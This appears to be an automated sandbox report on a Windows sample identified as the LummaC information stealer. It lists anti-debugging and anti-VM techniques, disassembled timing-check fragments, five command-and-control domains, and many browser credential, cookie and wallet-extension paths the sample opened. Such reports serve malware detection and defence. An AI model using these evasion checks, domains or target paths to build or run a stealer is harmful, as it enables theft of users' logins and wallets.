Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30F66 second address: 6C30FB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 mov esi, dword ptr [ebp+122D38E9h] 0x0000000d jmp 00007F76D47AEA7Eh 0x00000012 push 00000000h 0x00000014 add dx, FF00h 0x00000019 call 00007F76D47AEA79h 0x0000001e jmp 00007F76D47AEA86h 0x00000023 push eax 0x00000024 pushad 0x00000025 jg 00007F76D47AEA7Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30FB1 second address: 6C30FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jc 00007F76D4BF1AF6h 0x0000000b pop edi 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ecx 0x00000012 jo 00007F76D4BF1AFCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C30FCB second address: 6C31060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007F76D47AEA83h 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007F76D47AEA7Eh 0x00000015 pop eax 0x00000016 mov dword ptr [ebp+122D1D92h], edx 0x0000001c mov ecx, 15538548h 0x00000021 push 00000003h 0x00000023 pushad 0x00000024 mov bx, A711h 0x00000028 mov dl, cl 0x0000002a popad 0x0000002b push 00000000h 0x0000002d call 00007F76D47AEA83h 0x00000032 mov cl, 0Dh 0x00000034 pop esi 0x00000035 push 00000003h 0x00000037 push 00000000h 0x00000039 push ebx 0x0000003a call 00007F76D47AEA78h 0x0000003f pop ebx 0x00000040 mov dword ptr [esp+04h], ebx 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc ebx 0x0000004d push ebx 0x0000004e ret 0x0000004f pop ebx 0x00000050 ret 0x00000051 xor esi, dword ptr [ebp+122D38F1h] 0x00000057 push D9B33591h 0x0000005c pushad 0x0000005d jg 00007F76D47AEA78h 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2731F second address: 6C27323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C513AA second address: 6C513CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F76D47AEA84h 0x0000000b js 00007F76D47AEA76h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5152E second address: 6C5154F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D4BF1AF6h 0x00000008 je 00007F76D4BF1AF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jnc 00007F76D4BF1AF6h 0x0000001a jo 00007F76D4BF1AF6h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C519F4 second address: 6C519F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C519F8 second address: 6C51A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F76D4BF1B06h 0x0000000e pop edi 0x0000000f jmp 00007F76D4BF1B03h 0x00000014 jmp 00007F76D4BF1B02h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d jc 00007F76D4BF1AF6h 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C51A4C second address: 6C51A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C51A50 second address: 6C51A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D8B720 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DF1E6A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6ABDCBB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6ABDD4B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6AC4F04 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6AC411D instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7436	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7532	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7540	Thread sleep time: -210000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2082889435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1779454949.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: file.exe, 00000000.00000003.1779454949.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe, 00000000.00000003.1779454949.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: peepburry828.sbs
Source: file.exe, 00000000.00000003.1779454949.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: p10tgrace.sbs
Source: file.exe, 00000000.00000003.1779454949.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1911881109.0000000001532000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
